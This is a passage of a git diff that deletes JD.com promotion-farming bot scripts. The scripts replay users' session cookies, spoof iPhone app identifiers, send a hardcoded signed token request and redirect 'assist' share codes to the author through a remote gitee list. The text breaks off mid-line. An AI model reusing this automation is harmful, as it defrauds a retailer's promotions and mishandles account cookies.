(err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - $.activityType = data.data.activityType; - break; - case 'wxActionCommon/getUserInfo': - break; - case 'linkgame/activity/content': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activity['name']}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actor['actorUuid'] - console.log(ownCode) - } - $.actorUuid = data.data.actor['actorUuid']; - } else { - $.log("活动已经结束"); - } - break; - case 'linkgame/checkOpenCard': - $.openCardList = data.data.openCardList; - $.openCardStatus = data.data; - // console.log(data) - break; - case 'linkgame/follow/shop': - console.log(data) - break; - case 'linkgame/sign': - console.log(data) - break; - case 'linkgame/addCart': - console.log(data) - break; - case 'linkgame/browseGoods': - console.log(data) - break; - case 'interaction/write/writePersonInfo': - console.log(data) - break; - case 'linkgame/task/info': - console.log(data) - break; - case 'linkgame/assist/status': - console.log(data) - break; - case 'linkgame/assist': - console.log(data) - break; - case 'linkgame/help/list': - console.log(data) - break; - default: - // $.log(JSON.stringify(data)) - break; - } - } else { - // $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} - -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_huiju.js b/backUp/jd_lzdz1_huiju.js deleted file mode 100644 index 5313723..0000000 --- a/backUp/jd_lzdz1_huiju.js +++ /dev/null @@ -1,585 +0,0 @@ -/* -惠聚京东 好物连连 - -https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/5063373?activityId=llk20211015&shareUuid=91245cc15b1847b1961c10c5412f2420 -*/ -const $ = new Env("惠聚京东 好物连连"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -let authorCodeList = [] -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_huanju.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - '91245cc15b1847b1961c10c5412f2420', - ] - } - // console.log(authorCodeList) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - // if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - // } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = 'llk20211015' - $.activityShopId = '1000003005' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=undefined&lng=00.000000&lat=00.000000&sid=&un_area=` - await member(); - await $.wait(5000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function member() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - $.log("关注店铺") - await task('linkgame/follow/shop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await 